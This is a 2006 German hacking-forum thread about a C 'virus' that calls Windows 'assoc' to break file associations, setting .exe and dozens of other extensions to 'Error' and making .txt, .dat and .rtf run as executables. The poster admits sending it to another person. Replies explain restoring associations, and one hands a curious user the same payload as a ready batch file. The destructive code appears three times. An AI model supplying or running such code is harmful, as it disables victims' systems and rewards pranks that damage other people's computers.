|
You last visited: Today at 06:29
Advertisement
Probleme mit einem ... "Virus"
Discussion on Probleme mit einem ... "Virus" within the Technical Support forum part of the Off-Topics category.
05/27/2006, 02:10
|
#1
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Also...
ich hab einen Virus nach Art von SubZeroFromHell gecodet... Folgender Code:
Code:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
system("assoc .exe=Error");
system("assoc .png=Error");
system("assoc .gif=Error");
system("assoc .jpg=Error");
system("assoc .jpeg=Error");
system("assoc .bmp=Error");
system("assoc .txt=exefile");
system("assoc .ini=Error");
system("assoc .ttf=Error");
system("assoc .log=Error");
system("assoc .xml=Error");
system("assoc .html=Error");
system("assoc .htm=Error");
system("assoc .php=Error");
system("assoc .php3=Error");
system("assoc .php4=Error");
system("assoc .bat=Error");
system("assoc .pif=Error");
system("assoc .cmd=Error");
system("assoc .chm=Error");
system("assoc .lnk=Error");
system("assoc .frm=Error");
system("assoc .map=Error");
system("assoc .ut=Error");
system("assoc .ut2=Error");
system("assoc .wav=Error");
system("assoc .wave=Error");
system("assoc .mp3=Error");
system("assoc .ogg=Error");
system("assoc .c=Error");
system("assoc .o=Error");
system("assoc .cpp=Error");
system("assoc .dll=Error");
system("assoc .dat=exefile");
system("assoc .tmp=Error");
system("assoc .zip=Error");
system("assoc .rar=Error");
system("assoc .wmv=Error");
system("assoc .wma=Error");
system("assoc .wmi=Error");
system("assoc .cab=Error");
system("assoc .tar=Error");
system("assoc .gz=Error");
system("assoc .bz2=Error");
system("assoc .rtf=exefile");
system("assoc .doc=Error");
system("assoc .bak=Error");
system("assoc .avi=Error");
system("assoc .divx=Error");
system("assoc .mpg=Error");
system("assoc .mpeg=Error");
system("assoc .3gp=Error");
system("assoc .iso=Error");
system("assoc .ccd=Error");
system("assoc .img=Error");
system("assoc .set=Error");
system("assoc .b=Error");
system("assoc .wpl=Error");
system("assoc .itl=Error");
system("assoc .vbs=Error");
system("assoc .win=Error");
return 0;
}
Jetzt hab ich die mal weitergeschickt um zu sehen ob's funktioniert... Und die Antwort lautet... Ja *rofl* So nun... Wie machter diese durchaus lustigen Effekte jetzt wieder ruckgängig? Ich bin nen Kopf kürzer wenn ich das Problem bis morgen net behoben hab. XD Also bitte helft mir... rest in piece ! q,q"
|
|
|
05/27/2006, 04:02
|
#2
|
elite*gold: 0
Join Date: Aug 2005
Posts: 896
Received Thanks: 334
|
soso, du hast also gecodet :P ?
Es beginnt schon mal damit, dass ist kein Virus :P
Zweitens, weißt du was du getan hast ?
Das ganze hätte man auch einfach als Batchdatei schreiben können, da es nichts weiter ist als ein mehrfacher aufruf von assoc.
und das ist folgendes:
Quote:
Zeigt die Zuordnungen mit den Dateierweiterungen an bzw. ändert sie.
ASSOC [.ERW[=[Dateityp]]]
.ERW Gibt die Dateierweiterung für die Zuordnung mit dem Dateityp an.
Dateityp Gibt den Dateityp für die Zuordnung mit der Dateierweiterung an.
Geben Sie ASSOC ohne Parameter ein, um die aktuellen Zuordnungen anzuzeigen.
Wenn ASSOC mit einer bestimmten Dateierweiterung aufgerufen wird, wird die
Zuordnung mit der jeweiligen Dateierweiterung angezeigt. Wenn Sie keinen Datei-
typ angegeben haben, wird die Zuordnung für diese Dateierweiterung gelöscht.
|
So, was ist jetzt das Problem?
Nun ja, ganz einfach, du hast die Werte nicht gespeichert, grundsätzlich hätte da sonst was stehen können...
Wäre es mein system könnte man das Beispielsweise folgendermaßen beschreiben:
Code:
assoc .exe=exefile
assoc .png=pngfile
assoc .gif=giffile
assoc .jpg=jpegfile
assoc .jpeg=jpegfile
assoc .bmp=Paint.Picture
assoc .txt=txtfile
assoc .ini=inifile
assoc .ttf=ttffile
assoc .log=txtfile
assoc .xml=xmlfile
assoc .html=Opera.HTML
assoc .htm=htmlfile
assoc .php3=
assoc .bat=batfile
assoc .pif=piffile
assoc .cmd=cmdfile
assoc .chm=chm.file
assoc .lnk=lnkfile
assoc .wav=Winamp.File
assoc .wave=
assoc .mp3=Winamp.File
assoc .ogg=Winamp.File
assoc .c=DevCpp.c
assoc .cpp=DevCpp.cpp
assoc .dll=dllfile
assoc .dat=
assoc .zip=WinRAR.ZIP
assoc .rar=WinRAR
assoc .wmv=Winamp.File
assoc .wma=Winamp.File
assoc .cab=WinRAR
assoc .tar=WinRAR
assoc .gz=WinRAR
assoc .bz2=WinRAR
assoc .rtf=rtffile
assoc .doc=OpenOffice.org.doc
assoc .avi=Winamp.File
assoc .divx=RealPlayer.DIVX.6
assoc .mpg=Winamp.File
assoc .mpeg=Winamp.File
assoc .3gp=RealPlayer.3GPP_AMR.10
assoc .iso=NeroBurningROM.Files7.iso
assoc .img=NeroBurningROM.Files7.img
assoc .vbs=VBSFile
Tja, weiß der Teufel wie es vorher bei ihm aussah :P
|
|
|
05/27/2006, 12:59
|
#3
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Ne ich hab ihn nich gecodet, dass is so ziemlich das gleiche wie der von ******* Zero From Hell. Wollt einfach mal irgendwie versuchen das ganze zu kapieren. xD Aber danke schonmal *ausprobier*
edit : Aber das Hauptproblem liegt/lag ja eigentlich bei der exe=exefile. ^^
edit v2 : Und das es kein wirklicher Virus ist, weiss ich auch. Daher ist das "Virus" ja auch in "" gesetzt.
|
|
|
05/27/2006, 13:14
|
#4
|
elite*gold: 0
Join Date: Jul 2005
Posts: 12,457
Received Thanks: 2,961
|
spielkind :P
aber ist ja nit so das problem das rückgängig zu machen
|
|
|
05/27/2006, 13:28
|
#5
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Ne is mir jetzt auch grad aufgefallen.^^ Wie gesagt, das doofe war nunmal die exe=exefile. ~_~"
|
|
|
05/27/2006, 20:27
|
#6
|
elite*gold: 300
Join Date: Aug 2005
Posts: 1,313
Received Thanks: 45
|
Was muss ich machen das es klappt?
copy in txt, und dan umbenenen in .exe oda?
Mfg 1q2w3e
|
|
|
05/27/2006, 23:07
|
#7
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Was meinst du? Was wie wo klappt?
|
|
|
05/28/2006, 01:42
|
#8
|
elite*gold: 300
Join Date: Aug 2005
Posts: 1,313
Received Thanks: 45
|
Quote:
Originally posted by obsceneArts@May 27 2006, 02:10
Also...
ich hab einen Virus nach Art von SubZeroFromHell gecodet... Folgender Code:
Code:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
system("assoc .exe=Error");
system("assoc .png=Error");
system("assoc .gif=Error");
system("assoc .jpg=Error");
system("assoc .jpeg=Error");
system("assoc .bmp=Error");
system("assoc .txt=exefile");
system("assoc .ini=Error");
system("assoc .ttf=Error");
system("assoc .log=Error");
system("assoc .xml=Error");
system("assoc .html=Error");
system("assoc .htm=Error");
system("assoc .php=Error");
system("assoc .php3=Error");
system("assoc .php4=Error");
system("assoc .bat=Error");
system("assoc .pif=Error");
system("assoc .cmd=Error");
system("assoc .chm=Error");
system("assoc .lnk=Error");
system("assoc .frm=Error");
system("assoc .map=Error");
system("assoc .ut=Error");
system("assoc .ut2=Error");
system("assoc .wav=Error");
system("assoc .wave=Error");
system("assoc .mp3=Error");
system("assoc .ogg=Error");
system("assoc .c=Error");
system("assoc .o=Error");
system("assoc .cpp=Error");
system("assoc .dll=Error");
system("assoc .dat=exefile");
system("assoc .tmp=Error");
system("assoc .zip=Error");
system("assoc .rar=Error");
system("assoc .wmv=Error");
system("assoc .wma=Error");
system("assoc .wmi=Error");
system("assoc .cab=Error");
system("assoc .tar=Error");
system("assoc .gz=Error");
system("assoc .bz2=Error");
system("assoc .rtf=exefile");
system("assoc .doc=Error");
system("assoc .bak=Error");
system("assoc .avi=Error");
system("assoc .divx=Error");
system("assoc .mpg=Error");
system("assoc .mpeg=Error");
system("assoc .3gp=Error");
system("assoc .iso=Error");
system("assoc .ccd=Error");
system("assoc .img=Error");
system("assoc .set=Error");
system("assoc .b=Error");
system("assoc .wpl=Error");
system("assoc .itl=Error");
system("assoc .vbs=Error");
system("assoc .win=Error");
return 0;
}
Jetzt hab ich die mal weitergeschickt um zu sehen ob's funktioniert... Und die Antwort lautet... Ja *rofl* So nun... Wie machter diese durchaus lustigen Effekte jetzt wieder ruckgängig? Ich bin nen Kopf kürzer wenn ich das Problem bis morgen net behoben hab. XD Also bitte helft mir... rest in piece ! q,q"
|
Das, als in ne txt speichern in .exe bennenen?
Oder ins C einfügen und dan daraus ne C-File machen? o.O
Mfg 1q2w3e
|
|
|
05/28/2006, 02:05
|
#9
|
elite*gold: 0
Join Date: Aug 2005
Posts: 896
Received Thanks: 334
|
Quote:
Originally posted by 1q2w3e@May 28 2006, 01:42
Das, als in ne txt speichern in .exe bennenen?
Oder ins C einfügen und dan daraus ne C-File machen? o.O
|
Alsooo
Das ist ein Quellcode, und zwar in der Sprache C 
Egal in was du das umbenennst, dein Computer versteht diese Sprache nicht.
Das bedeutet du musst das ganze übersetzen lassen, und zwar von einem sogenannten oder auch "Compiler" in die einzige Sprache die dein Computer versteht, seine native Maschinensprache.
Also, wenn du das als ausführbare Datei haben willst nimmst du einen c-compiler deiner wahl und haust es durch...
Aber an sich kann man das selbe auch mit einer Textdatei erreichen der man die Endung .bat gibt, da würdest du dann was ähnliches reinschreiben:
Code:
assoc .exe=Error
assoc .png=Error
assoc .gif=Error
assoc .jpg=Error
assoc .jpeg=Error
assoc .bmp=Error
assoc .txt=exefile
assoc .ini=Error
assoc .ttf=Error
assoc .log=Error
assoc .xml=Error
assoc .html=Error
assoc .htm=Error
assoc .php=Error
assoc .php3=Error
assoc .php4=Error
assoc .bat=Error
assoc .pif=Error
assoc .cmd=Error
assoc .chm=Error
assoc .lnk=Error
assoc .frm=Error
assoc .map=Error
assoc .ut=Error
assoc .ut2=Error
assoc .wav=Error
assoc .wave=Error
assoc .mp3=Error
assoc .ogg=Error
assoc .c=Error
assoc .o=Error
assoc .cpp=Error
assoc .dll=Error
assoc .dat=exefile
assoc .tmp=Error
assoc .zip=Error
assoc .rar=Error
assoc .wmv=Error
assoc .wma=Error
assoc .wmi=Error
assoc .cab=Error
assoc .tar=Error
assoc .gz=Error
assoc .bz2=Error
assoc .rtf=exefile
assoc .doc=Error
assoc .bak=Error
assoc .avi=Error
assoc .divx=Error
assoc .mpg=Error
assoc .mpeg=Error
assoc .3gp=Error
assoc .iso=Error
assoc .ccd=Error
assoc .img=Error
assoc .set=Error
assoc .b=Error
assoc .wpl=Error
assoc .itl=Error
assoc .vbs=Error
assoc .win=Error
|
|
|
05/28/2006, 13:14
|
#10
|
elite*gold: 0
Join Date: Nov 2005
Posts: 292
Received Thanks: 2
|
loool und du wusstest nicht wie man es rückgängig macht ??
ROFL du gemeiner coder du
|
|
|
05/28/2006, 19:12
|
#11
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Quote:
Originally posted by KoyTheOne@May 28 2006, 13:14
loool und du wusstest nicht wie man es rückgängig macht ??
ROFL du gemeiner coder du
|
Seit 10Minuten besitz ich dev-c++ und probier irgend n Müll aus und dann muss ich auchnoch wissen wie mans rückgängig macht? -.-"
|
|
|
05/29/2006, 13:07
|
#12
|
elite*gold: 0
Join Date: May 2005
Posts: 4,620
Received Thanks: 104
|
Quote:
Originally posted by obsceneArts+May 28 2006, 19:12--></span><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (obsceneArts @ May 28 2006, 19:12)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin--KoyTheOne@May 28 2006, 13:14
loool und du wusstest nicht wie man es rückgängig macht ??
ROFL du gemeiner coder du
|
Seit 10Minuten besitz ich dev-c++ und probier irgend n Müll aus und dann muss ich auchnoch wissen wie mans rückgängig macht? -.-" [/b][/quote]
Man muss doch verstehen was man da zusammen braut, immerhin wenn man englisch könnte würde man gleich sehen das sie sufixxe mit Error Assoziert werden.
|
|
|
05/29/2006, 13:51
|
#13
|
elite*gold: 0
Join Date: Mar 2006
Posts: 1,376
Received Thanks: 29
|
Quote:
Originally posted by Marie+May 29 2006, 13:07--></span><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (Marie @ May 29 2006, 13:07)</td></tr><tr><td id='QUOTE'>
Quote:
Originally posted by -obsceneArts@May 28 2006, 19:12
<!--QuoteBegin--KoyTheOne
|
Quote:
@May 28 2006, 13:14
loool und du wusstest nicht wie man es rückgängig macht ??
ROFL du gemeiner coder du
|
Seit 10Minuten besitz ich dev-c++ und probier irgend n Müll aus und dann muss ich auchnoch wissen wie mans rückgängig macht? -.-"
|
Man muss doch verstehen was man da zusammen braut, immerhin wenn man englisch könnte würde man gleich sehen das sie sufixxe mit Error Assoziert werden.  [/b][/quote]
Closed den Thread bitte jemand? ~.~
|
|
|
05/29/2006, 16:36
|
#14
|
elite*gold: 1406
Join Date: May 2005
Posts: 23,919
Received Thanks: 15,126
|
#closed
|
|
|
All times are GMT +1. The time now is 06:30.
|
|